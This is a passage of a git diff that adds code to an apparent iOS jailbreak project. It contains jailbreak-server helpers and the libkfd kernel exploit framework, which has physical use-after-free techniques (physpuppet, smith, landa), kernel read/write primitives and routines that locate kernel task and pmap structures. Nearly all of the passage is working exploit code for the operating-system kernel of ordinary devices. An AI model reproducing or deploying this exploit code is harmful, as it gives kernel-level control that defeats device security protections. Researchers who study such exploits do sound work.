+ for (int i = 0; i < count; i++) {
+ pid_t pid = info[i].kp_proc.p_pid;
+ if (pid == 0) {
+ continue;
+ }
+ size_t size = maxArgumentSize;
+ char* buffer = (char *)malloc(length);
+ if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) {
+ char *executablePath = buffer + sizeof(int);
+ if (strcmp(executablePath, executablePathToKill) == 0) {
+ if(softly)
+ {
+ kill(pid, SIGTERM);
+ }
+ else
+ {
+ kill(pid, SIGKILL);
+ }
+ }
+ }
+ free(buffer);
+ }
+ free(info);
+}
+
+// static int
+// copy_data(struct archive *ar, struct archive *aw)
+// {
+// int r;
+// const void *buff;
+// size_t size;
+// la_int64_t offset;
+
+// for (;;) {
+// r = archive_read_data_block(ar, &buff, &size, &offset);
+// if (r == ARCHIVE_EOF)
+// return (ARCHIVE_OK);
+// if (r < ARCHIVE_OK)
+// return (r);
+// r = archive_write_data_block(aw, buff, size, offset);
+// if (r < ARCHIVE_OK) {
+// fprintf(stderr, "%s\n", archive_error_string(aw));
+// return (r);
+// }
+// }
+// }
+
+// int libarchive_unarchive(const char *fileToExtract, const char *extractionPath)
+// {
+// struct archive *a;
+// struct archive *ext;
+// struct archive_entry *entry;
+// int flags;
+// int r;
+
+// /* Select which attributes we want to restore. */
+// flags = ARCHIVE_EXTRACT_TIME;
+// flags |= ARCHIVE_EXTRACT_PERM;
+// flags |= ARCHIVE_EXTRACT_ACL;
+// flags |= ARCHIVE_EXTRACT_FFLAGS;
+// flags |= ARCHIVE_EXTRACT_OWNER;
+
+// a = archive_read_new();
+// archive_read_support_format_all(a);
+// archive_read_support_filter_all(a);
+// ext = archive_write_disk_new();
+// archive_write_disk_set_options(ext, flags);
+// archive_write_disk_set_standard_lookup(ext);
+// if ((r = archive_read_open_filename(a, fileToExtract, 10240)))
+// return 1;
+// for (;;) {
+// r = archive_read_next_header(a, &entry);
+// if (r == ARCHIVE_EOF)
+// break;
+// if (r < ARCHIVE_OK)
+// fprintf(stderr, "%s\n", archive_error_string(a));
+// if (r < ARCHIVE_WARN)
+// return 1;
+
+// const char *currentFile = archive_entry_pathname(entry);
+// char outputPath[PATH_MAX];
+// strlcpy(outputPath, extractionPath, PATH_MAX);
+// strlcat(outputPath, "/", PATH_MAX);
+// strlcat(outputPath, currentFile, PATH_MAX);
+
+// archive_entry_set_pathname(entry, outputPath);
+
+// r = archive_write_header(ext, entry);
+// if (r < ARCHIVE_OK)
+// fprintf(stderr, "%s\n", archive_error_string(ext));
+// else if (archive_entry_size(entry) > 0) {
+// r = copy_data(a, ext);
+// if (r < ARCHIVE_OK)
+// fprintf(stderr, "%s\n", archive_error_string(ext));
+// if (r < ARCHIVE_WARN)
+// return 1;
+// }
+// r = archive_write_finish_entry(ext);
+// if (r < ARCHIVE_OK)
+// fprintf(stderr, "%s\n", archive_error_string(ext));
+// if (r < ARCHIVE_WARN)
+// return 1;
+// }
+// archive_read_close(a);
+// archive_read_free(a);
+// archive_write_close(ext);
+// archive_write_free(ext);
+
+// return 0;
+// }
+
+
+// code from ktrw by Brandon Azad : https://github.com/googleprojectzero/ktrw
+// A worker thread for activity_thread that just spins.
+static void* worker_thread(void *arg)
+{
+ uint64_t end = *(uint64_t *)arg;
+ for (;;) {
+ close(-1);
+ uint64_t now = mach_absolute_time();
+ if (now >= end) {
+ break;
+ }
+ }
+ return NULL;
+}
+
+// A thread to alternately spin and sleep.
+static void* activity_thread(void *arg)
+{
+ volatile uint64_t *runCount = arg;
+ struct mach_timebase_info tb;
+ mach_timebase_info(&tb);
+ const unsigned milliseconds = 40;
+ const unsigned worker_count = 10;
+ while (*runCount != 0) {
+ // Spin for one period on multiple threads.
+ uint64_t start = mach_absolute_time();
+ uint64_t end = start + milliseconds * 1000 * 1000 * tb.denom / tb.numer;
+ pthread_t worker[worker_count];
+ for (unsigned i = 0; i < worker_count; i++) {
+ pthread_create(&worker[i], NULL, worker_thread, &end);
+ }
+ worker_thread(&end);
+ for (unsigned i = 0; i < worker_count; i++) {
+ pthread_join(worker[i], NULL);
+ }
+ // Sleep for one period.
+ usleep(milliseconds * 1000);
+ }
+ return NULL;
+}
+
+static uint64_t gCaffeinateThreadRunCount = 0;
+static pthread_t gCaffeinateThread = NULL;
+
+void thread_caffeinate_start(void)
+{
+ if (gCaffeinateThreadRunCount == UINT64_MAX) return;
+ gCaffeinateThreadRunCount++;
+ if (gCaffeinateThreadRunCount == 1) {
+ pthread_create(&gCaffeinateThread, NULL, activity_thread, &gCaffeinateThreadRunCount);
+ }
+}
+
+void thread_caffeinate_stop(void)
+{
+ if (gCaffeinateThreadRunCount == 0) return;
+ gCaffeinateThreadRunCount--;
+ if (gCaffeinateThreadRunCount == 0) {
+ pthread_join(gCaffeinateThread, NULL);
+ }
+}
+
+void convert_data_to_hex_string(const void *data, size_t size, char *outBuf)
+{
+ unsigned char *pin = (unsigned char *)data;
+ const char *hex = "0123456789ABCDEF";
+ char *pout = outBuf;
+ for(; pin < ((unsigned char *)data)+size; pout+=2, pin++){
+ pout[0] = hex[(*pin>>4) & 0xF];
+ pout[1] = hex[ *pin & 0xF];
+ }
+ pout[0] = 0;
+}
+
+int convert_hex_string_to_data(const char *string, void *outBuf)
+{
+ size_t length = strlen(string);
+ const char *pin = string;
+ char *pout = outBuf;
+ for (; pin < string+length; pin++) {
+ char byte = *pin;
+ if (byte >= '0' && byte <= '9') byte = byte - '0';
+ else if (byte >= 'a' && byte <='f') byte = byte - 'a' + 10;
+ else if (byte >= 'A' && byte <='F') byte = byte - 'A' + 10;
+ else return -1;
+
+ int shift = ((pin - (string+length)) % 2) ? 0 : 4;
+ *pout = (*pout & ~(0xf << shift)) | (byte << shift);
+ if (shift == 0) pout++;
+ }
+ return 0;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/util.h b/RootHelperSample/launchdshim/launchdhook/jbserver/util.h
new file mode 100644
index 00000000..fc768781
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/util.h
@@ -0,0 +1,90 @@
+#ifndef LJB_UTIL_H
+#define LJB_UTIL_H
+
+// #include "info.h"
+#include "jbclient_xpc.h"
+
+#define min(a, b) (((a) < (b)) ? (a) : (b))
+#define max(a, b) (((a) > (b)) ? (a) : (b))
+
+void proc_iterate(void (^itBlock)(uint64_t, bool*));
+
+uint64_t proc_self(void);
+uint64_t task_self(void);
+uint64_t vm_map_self(void);
+uint64_t pmap_self(void);
+uint64_t ttep_self(void);
+uint64_t tte_self(void);
+
+uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port);
+uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port);
+uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port);
+
+uint64_t alloc_page_table_unassigned(void);
+uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va);
+int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size);
+int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size);
+
+#ifdef __arm64e__
+uint64_t pmap_find_main_binary_code_dir(uint64_t pmap);
+uint64_t proc_find_main_binary_code_dir(uint64_t proc);
+uint32_t pmap_cs_trust_string_to_int(const char *trustString);
+#endif
+
+int sign_kernel_thread(uint64_t proc, mach_port_t threadPort);
+uint64_t kpacda(uint64_t pointer, uint64_t modifier);
+uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt);
+
+void proc_allow_all_syscalls(uint64_t proc);
+
+void killall(const char *executablePathToKill, bool softly);
+int libarchive_unarchive(const char *fileToExtract, const char *extractionPath);
+
+void thread_caffeinate_start(void);
+void thread_caffeinate_stop(void);
+
+void convert_data_to_hex_string(const void *data, size_t size, char *outBuf);
+int convert_hex_string_to_data(const char *string, void *outBuf);
+
+int cmd_wait_for_exit(pid_t pid);
+int exec_cmd(const char *binary, ...);
+int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...);
+int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...);
+int exec_cmd_root(const char *binary, ...);
+
+#define exec_cmd_trusted(x, args ...) ({ \
+ jbclient_trust_binary(x, NULL); \
+ int retval; \
+ retval = exec_cmd(x, args); \
+ retval; \
+})
+
+#define JBRootPath(path) ({ \
+ static char outPath[PATH_MAX]; \
+ strlcpy(outPath, jbinfo(rootPath), PATH_MAX); \
+ strlcat(outPath, path, PATH_MAX); \
+ (outPath); \
+})
+
+#define VM_FLAGS_GET_PROT(x) ((x >> 7) & 0xFULL)
+#define VM_FLAGS_GET_MAXPROT(x) ((x >> 11) & 0xFULL);
+#define VM_FLAGS_SET_PROT(x, p) x = ((x & ~(0xFULL << 7)) | (((uint64_t)p) << 7))
+#define VM_FLAGS_SET_MAXPROT(x, p) x = ((x & ~(0xFULL << 11)) | (((uint64_t)p) << 11))
+
+#ifdef __OBJC__
+NSString *NSJBRootPath(NSString *relativePath);
+#endif
+
+void JBFixMobilePermissions(void);
+
+/* Status values. */
+#define SIDL 1 /* Process being created by fork. */
+#define SRUN 2 /* Currently runnable. */
+#define SSLEEP 3 /* Sleeping on an address. */
+#define SSTOP 4 /* Process debugging or suspension. */
+#define SZOMB 5 /* Awaiting collection by parent. */
+
+pid_t proc_get_ppid(pid_t pid);
+int proc_paused(pid_t pid, bool* paused);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h b/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h
new file mode 100644
index 00000000..c479d2cd
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h
@@ -0,0 +1,16 @@
+#ifndef __XPC_PRIVATE_H__
+#define __XPC_PRIVATE_H__
+
+void xpc_dictionary_get_audit_token(xpc_object_t xdict, audit_token_t *token);
+char *xpc_strerror (int);
+
+extern XPC_RETURNS_RETAINED xpc_object_t xpc_pipe_create_from_port(mach_port_t port, uint32_t flags);
+extern int xpc_pipe_simpleroutine(xpc_object_t pipe, xpc_object_t message);
+extern int xpc_pipe_routine(xpc_object_t pipe, xpc_object_t message, XPC_GIVES_REFERENCE xpc_object_t *reply);
+extern int xpc_pipe_routine_with_flags(xpc_object_t xpc_pipe, xpc_object_t inDict, XPC_GIVES_REFERENCE xpc_object_t *reply, uint32_t flags);
+extern int xpc_pipe_routine_reply(xpc_object_t reply);
+extern int xpc_pipe_receive(mach_port_t port, XPC_GIVES_REFERENCE xpc_object_t *message);
+
+extern XPC_RETURNS_RETAINED xpc_object_t xpc_copy_entitlement_for_token(const char *, audit_token_t *);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd.h b/RootHelperSample/launchdshim/launchdhook/libkfd.h
new file mode 100644
index 00000000..1b692ed6
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd.h
@@ -0,0 +1,222 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef libkfd_h
+#define libkfd_h
+
+/*
+ * The global configuration parameters of libkfd.
+ */
+#define CONFIG_ASSERT 1
+#define CONFIG_PRINT 1
+#define CONFIG_TIMER 1
+
+#include "libkfd/common.h"
+
+/*
+ * The public API of libkfd.
+ */
+
+enum puaf_method {
+ puaf_physpuppet,
+ puaf_smith,
+ puaf_landa,
+};
+
+enum kread_method {
+ kread_kqueue_workloop_ctl,
+ kread_sem_open,
+};
+
+enum kwrite_method {
+ kwrite_dup,
+ kwrite_sem_open,
+};
+
+u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method);
+void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size);
+void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size);
+void kclose(u64 kfd);
+
+/*
+ * The private API of libkfd.
+ */
+
+struct kfd; // Forward declaration for function pointers.
+
+struct info {
+ struct {
+ vm_address_t src_uaddr;
+ vm_address_t dst_uaddr;
+ vm_size_t size;
+ } copy;
+ struct {
+ i32 pid;
+ u64 tid;
+ u64 vid;
+ u64 maxfilesperproc;
+ } env;
+ struct {
+ u64 current_map;
+ u64 current_pmap;
+ u64 current_proc;
+ u64 current_task;
+ u64 kernel_map;
+ u64 kernel_pmap;
+ u64 kernel_proc;
+ u64 kernel_task;
+ } kaddr;
+};
+
+struct perf {
+ u64 kernel_slide;
+ u64 gVirtBase;
+ u64 gPhysBase;
+ u64 gPhysSize;
+ struct {
+ u64 pa;
+ u64 va;
+ } ttbr[2];
+ struct ptov_table_entry {
+ u64 pa;
+ u64 va;
+ u64 len;
+ } ptov_table[8];
+ struct {
+ u64 kaddr;
+ u64 paddr;
+ u64 uaddr;
+ u64 size;
+ } shared_page;
+ struct {
+ i32 fd;
+ u32 si_rdev_buffer[2];
+ u64 si_rdev_kaddr;
+ } dev;
+ void (*saved_kread)(struct kfd*, u64, void*, u64);
+ void (*saved_kwrite)(struct kfd*, void*, u64, u64);
+};
+
+struct puaf {
+ u64 number_of_puaf_pages;
+ u64* puaf_pages_uaddr;
+ void* puaf_method_data;
+ u64 puaf_method_data_size;
+ struct {
+ void (*init)(struct kfd*);
+ void (*run)(struct kfd*);
+ void (*cleanup)(struct kfd*);
+ void (*free)(struct kfd*);
+ } puaf_method_ops;
+};
+
+struct krkw {
+ u64 krkw_maximum_id;
+ u64 krkw_allocated_id;
+ u64 krkw_searched_id;
+ u64 krkw_object_id;
+ u64 krkw_object_uaddr;
+ u64 krkw_object_size;
+ void* krkw_method_data;
+ u64 krkw_method_data_size;
+ struct {
+ void (*init)(struct kfd*);
+ void (*allocate)(struct kfd*, u64);
+ bool (*search)(struct kfd*, u64);
+ void (*kread)(struct kfd*, u64, void*, u64);
+ void (*kwrite)(struct kfd*, void*, u64, u64);
+ void (*find_proc)(struct kfd*);
+ void (*deallocate)(struct kfd*, u64);
+ void (*free)(struct kfd*);
+ } krkw_method_ops;
+};
+
+struct kfd {
+ struct info info;
+ struct perf perf;
+ struct puaf puaf;
+ struct krkw kread;
+ struct krkw kwrite;
+};
+
+#include "libkfd/info.h"
+#include "libkfd/puaf.h"
+#include "libkfd/krkw.h"
+#include "libkfd/perf.h"
+
+struct kfd* kfd_init(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)
+{
+ struct kfd* kfd = (struct kfd*)(malloc_bzero(sizeof(struct kfd)));
+ info_init(kfd);
+ puaf_init(kfd, puaf_pages, puaf_method);
+ krkw_init(kfd, kread_method, kwrite_method);
+ perf_init(kfd);
+ return kfd;
+}
+
+void kfd_free(struct kfd* kfd)
+{
+ perf_free(kfd);
+ krkw_free(kfd);
+ puaf_free(kfd);
+ info_free(kfd);
+ bzero_free(kfd, sizeof(struct kfd));
+}
+
+u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)
+{
+ int fail = -1;
+
+ //timer_start();
+
+ const u64 puaf_pages_min = 16;
+ const u64 puaf_pages_max = 4096;
+ assert(puaf_pages >= puaf_pages_min);
+ assert(puaf_pages <= puaf_pages_max);
+ assert(puaf_method <= puaf_landa);
+ assert(kread_method <= kread_sem_open);
+ assert(kwrite_method <= kwrite_sem_open);
+
+ struct kfd* kfd = kfd_init(puaf_pages, puaf_method, kread_method, kwrite_method);
+
+retry:
+ puaf_run(kfd);
+
+ fail = krkw_run(kfd);
+ if(fail && (puaf_method == puaf_landa)) {
+ // Thanks: m1zole / dunkeyyfong
+ puaf_free(kfd);
+ info_free(kfd);
+ bzero(kfd, sizeof(struct kfd));
+ info_init(kfd);
+ puaf_init(kfd, puaf_pages, puaf_method);
+ krkw_init(kfd, kread_method, kwrite_method);
+ perf_init(kfd);
+ goto retry;
+ }
+
+ info_run(kfd);
+ perf_run(kfd);
+ puaf_cleanup(kfd);
+
+ //timer_end();
+ return (u64)(kfd);
+}
+
+void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ krkw_kread((struct kfd*)(kfd), kaddr, uaddr, size);
+}
+
+void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size)
+{
+ krkw_kwrite((struct kfd*)(kfd), uaddr, kaddr, size);
+}
+
+void kclose(u64 kfd)
+{
+ kfd_free((struct kfd*)(kfd));
+}
+
+#endif /* libkfd_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/common.h b/RootHelperSample/launchdshim/launchdhook/libkfd/common.h
new file mode 100644
index 00000000..9af14323
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/common.h
@@ -0,0 +1,212 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef common_h
+#define common_h
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#ifndef __OBJC__
+void NSLog(CFStringRef, ...);
+#endif
+#define pages(number_of_pages) ((number_of_pages) * (ARM_PGBYTES))
+
+#define min(a, b) (((a) < (b)) ? (a) : (b))
+#define max(a, b) (((a) > (b)) ? (a) : (b))
+
+typedef int8_t i8;
+typedef int16_t i16;
+typedef int32_t i32;
+typedef int64_t i64;
+typedef intptr_t isize;
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef uintptr_t usize;
+
+/*
+ * Helper print macros.
+ */
+
+#if CONFIG_PRINT
+
+#ifndef __OBJC__
+#define print(format, ...) NSLog(CFSTR(format), ##__VA_ARGS__)
+#else
+#define print(format, ...) NSLog(@format, ##__VA_ARGS__)
+#endif
+
+#else /* CONFIG_PRINT */
+
+#define print(args...)
+
+#endif /* CONFIG_PRINT */
+
+#define print_bool(name) print("[%s]: %s = %s", __FUNCTION__, #name, name ? "true" : "false")
+
+#define print_i8(name) print("[%s]: %s = %hhi", __FUNCTION__, #name, name)
+#define print_u8(name) print("[%s]: %s = %hhu", __FUNCTION__, #name, name)
+#define print_x8(name) print("[%s]: %s = %02hhx", __FUNCTION__, #name, name)
+
+#define print_i16(name) print("[%s]: %s = %hi", __FUNCTION__, #name, name)
+#define print_u16(name) print("[%s]: %s = %hu", __FUNCTION__, #name, name)
+#define print_x16(name) print("[%s]: %s = %04hx", __FUNCTION__, #name, name)
+
+#define print_i32(name) print("[%s]: %s = %i", __FUNCTION__, #name, name)
+#define print_u32(name) print("[%s]: %s = %u", __FUNCTION__, #name, name)
+#define print_x32(name) print("[%s]: %s = %08x", __FUNCTION__, #name, name)
+
+#define print_i64(name) print("[%s]: %s = %lli", __FUNCTION__, #name, name)
+#define print_u64(name) print("[%s]: %s = %llu", __FUNCTION__, #name, name)
+#define print_x64(name) print("[%s]: %s = %016llx", __FUNCTION__, #name, name)
+
+#define print_isize(name) print("[%s]: %s = %li", __FUNCTION__, #name, name)
+#define print_usize(name) print("[%s]: %s = %lu", __FUNCTION__, #name, name)
+#define print_xsize(name) print("[%s]: %s = %016lx", __FUNCTION__, #name, name)
+
+#define print_string(name) print("[%s]: %s = %s", __FUNCTION__, #name, name)
+
+#define print_message(format, ...) do { print("[%s]: " format, __FUNCTION__, ##__VA_ARGS__); } while (0)
+#define print_success(format, ...) do { print("[%s]: 🟢 " format, __FUNCTION__, ##__VA_ARGS__); } while (0)
+#define print_warning(format, ...) do { print("[%s]: 🟡 " format, __FUNCTION__, ##__VA_ARGS__); } while (0)
+#define print_failure(format, ...) do { print("[%s]: 🔴 " format, __FUNCTION__, ##__VA_ARGS__); } while (0)
+
+#define print_timer(tv) \
+ do { \
+ u64 sec = ((tv)->tv_sec); \
+ u64 msec = ((tv)->tv_usec) / 1000; \
+ u64 usec = ((tv)->tv_usec) % 1000; \
+ print_success("%llus %llums %lluus", sec, msec, usec); \
+ } while (0)
+
+#define print_buffer(uaddr, size) \
+ do { \
+ const u64 u64_per_line = 8; \
+ volatile u64* u64_base = (volatile u64*)(uaddr); \
+ u64 u64_size = ((u64)(size) / sizeof(u64)); \
+ for (u64 u64_offset = 0; u64_offset < u64_size; u64_offset++) { \
+ if ((u64_offset % u64_per_line) == 0) { \
+ print("[0x%04llx]: ", u64_offset * sizeof(u64)); \
+ } \
+ print("%016llx", u64_base[u64_offset]); \
+ if ((u64_offset % u64_per_line) == (u64_per_line - 1)) { \
+ print("\n"); \
+ } else { \
+ print(" "); \
+ } \
+ } \
+ if ((u64_size % u64_per_line) != 0) { \
+ print("\n"); \
+ } \
+ } while (0)
+
+/*
+ * Helper assert macros.
+ */
+
+#if CONFIG_ASSERT
+
+#define assert(condition) \
+ do { \
+ if (!(condition)) { \
+ print_failure("assertion failed: (%s)", #condition); \
+ print_failure("file: %s, line: %d", __FILE__, __LINE__); \
+ } \
+ } while (0)
+
+#else /* CONFIG_ASSERT */
+
+#define assert(condition)
+
+#endif /* CONFIG_ASSERT */
+
+#define assert_false(message) \
+ do { \
+ print_failure("error: %s", message); \
+ assert(false); \
+ } while (0)
+
+
+
+#define assert_bsd(statement) \
+ do { \
+ kern_return_t kret = (statement); \
+ if (kret != KERN_SUCCESS) { \
+ print_failure("bsd error: kret = %d, errno = %d (%s)", kret, errno, strerror(errno)); \
+ assert(kret == KERN_SUCCESS); \
+ } \
+ } while (0)
+
+#define assert_mach(statement) \
+ do { \
+ kern_return_t kret = (statement); \
+ if (kret != KERN_SUCCESS) { \
+ print_failure("mach error: kret = %d (%s)", kret, mach_error_string(kret)); \
+ assert(kret == KERN_SUCCESS); \
+ } \
+ } while (0)
+
+/*
+ * Helper timer macros.
+ */
+
+#if CONFIG_TIMER
+
+#define timer_start() \
+ struct timeval tv_start; \
+ do { \
+ assert_bsd(gettimeofday(&tv_start, NULL)); \
+ } while (0)
+
+#define timer_end() \
+ do { \
+ struct timeval tv_end, tv_diff; \
+ assert_bsd(gettimeofday(&tv_end, NULL)); \
+ timersub(&tv_end, &tv_start, &tv_diff); \
+ print_timer(&tv_diff); \
+ } while (0)
+
+#else /* CONFIG_TIMER */
+
+#define timer_start()
+#define timer_end()
+
+#endif /* CONFIG_TIMER */
+
+/*
+ * Helper allocation macros.
+ */
+
+#define malloc_bzero(size) \
+ ({ \
+ void* pointer = malloc(size); \
+ assert(pointer != NULL); \
+ bzero(pointer, size); \
+ pointer; \
+ })
+
+#define bzero_free(pointer, size) \
+ do { \
+ bzero(pointer, size); \
+ free(pointer); \
+ pointer = NULL; \
+ } while (0)
+
+extern signed long long base_pac_mask;
+#endif /* common_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info.h
new file mode 100644
index 00000000..bf02aadf
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info.h
@@ -0,0 +1,189 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef info_h
+#define info_h
+
+#include "info/dynamic_info.h"
+#include "info/static_info.h"
+
+/*
+ * Note that these macros assume that the kfd pointer is in scope.
+ */
+#define dynamic_info(field_name) (kern_versions[kfd->info.env.vid].field_name)
+
+#define dynamic_kget(field_name, object_kaddr) \
+ ({ \
+ u64 tmp_buffer = 0; \
+ u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
+ kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
+ tmp_buffer; \
+ })
+
+#define dynamic_kset(field_name, new_value, object_kaddr) \
+ do { \
+ u64 tmp_buffer = new_value; \
+ u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
+ kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
+ } while (0)
+
+#define static_kget(object_name, field_name, object_kaddr) \
+ ({ \
+ u64 tmp_buffer = 0; \
+ u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
+ kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
+ tmp_buffer; \
+ })
+
+#define static_kset(object_name, field_name, new_value, object_kaddr) \
+ do { \
+ u64 tmp_buffer = new_value; \
+ u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
+ kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
+ } while (0)
+
+const char info_copy_sentinel[] = "p0up0u was here";
+const u64 info_copy_sentinel_size = sizeof(info_copy_sentinel);
+
+void info_init(struct kfd* kfd)
+{
+ /*
+ * Initialize the kfd->info.copy substructure.
+ *
+ * Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions:
+ * - The size of the copy must be strictly greater than msg_ool_size_small.
+ * - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE.
+ * - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC.
+ */
+ kfd->info.copy.size = pages(4);
+ assert(kfd->info.copy.size > msg_ool_size_small);
+ assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE));
+ for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) {
+ bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size);
+ bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size);
+ }
+
+ /*
+ * Initialize the kfd->info.env substructure.
+ */
+ kfd->info.env.pid = getpid();
+ print_i32(kfd->info.env.pid);
+
+ thread_identifier_info_data_t data = {};
+ thread_info_t info = (thread_info_t)(&data);
+ mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT;
+ assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count));
+ kfd->info.env.tid = data.thread_id;
+ print_u64(kfd->info.env.tid);
+
+ usize size1 = sizeof(kfd->info.env.maxfilesperproc);
+ assert_bsd(sysctlbyname("kern.maxfilesperproc", &kfd->info.env.maxfilesperproc, &size1, NULL, 0));
+ print_u64(kfd->info.env.maxfilesperproc);
+
+ struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc };
+ assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim));
+
+ char kern_version[512] = {};
+ usize size2 = sizeof(kern_version);
+ assert_bsd(sysctlbyname("kern.version", &kern_version, &size2, NULL, 0));
+ print_string(kern_version);
+
+ kfd->info.env.vid = 0;
+
+ //set offset from static patchfinder
+// kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw;
+// kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase;
+// kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize;
+// kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase;
+// kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open;
+// kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices;
+// kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table;
+// kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter;
+// kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size;
+
+ //T8120(A16), T8103(M1), T8112(M2): t1sz_boot = 17;
+ //others: t1sz_boot = 25;
+ //Source: https://www.reddit.com/r/jailbreak/comments/15b9l7n/comment/jtssz14/?utm_source=share&utm_medium=web2x&context=3
+ if(strstr(get_kernversion(), "T8120") != NULL || strstr(get_kernversion(), "T8103") != NULL || strstr(get_kernversion(), "T8112") != NULL)
+ t1sz_boot = 17;
+ else
+ t1sz_boot = 25;
+
+ arm64_link_addr = get_vm_kernel_link_addr();
+
+ print_u64(kfd->info.env.vid);
+
+// const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]);
+// for (u64 i = 0; i < number_of_kern_versions; i++) {
+// const char* current_kern_version = kern_versions[i].kern_version;
+// if (!memcmp(kern_version, current_kern_version, strlen(current_kern_version))) {
+// kfd->info.env.vid = i;
+// print_u64(kfd->info.env.vid);
+// return;
+// }
+// }
+
+// assert_false("unsupported osversion");
+}
+
+void info_run(struct kfd* kfd)
+{
+ timer_start();
+
+ /*
+ * current_task()
+ */
+ assert(kfd->info.kaddr.current_proc);
+ kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + dynamic_info(proc__object_size);
+ print_x64(kfd->info.kaddr.current_proc);
+ print_x64(kfd->info.kaddr.current_task);
+
+ /*
+ * current_map()
+ */
+ u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.current_task);
+ kfd->info.kaddr.current_map = UNSIGN_PTR(signed_map_kaddr);
+ print_x64(kfd->info.kaddr.current_map);
+
+ /*
+ * current_pmap()
+ */
+ u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.current_map);
+ kfd->info.kaddr.current_pmap = UNSIGN_PTR(signed_pmap_kaddr);
+ print_x64(kfd->info.kaddr.current_pmap);
+
+ if (kfd->info.kaddr.kernel_proc) {
+ /*
+ * kernel_task()
+ */
+ kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + dynamic_info(proc__object_size);
+ print_x64(kfd->info.kaddr.kernel_proc);
+ print_x64(kfd->info.kaddr.kernel_task);
+
+ /*
+ * kernel_map()
+ */
+ u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.kernel_task);
+ kfd->info.kaddr.kernel_map = UNSIGN_PTR(signed_map_kaddr);
+ print_x64(kfd->info.kaddr.kernel_map);
+
+ /*
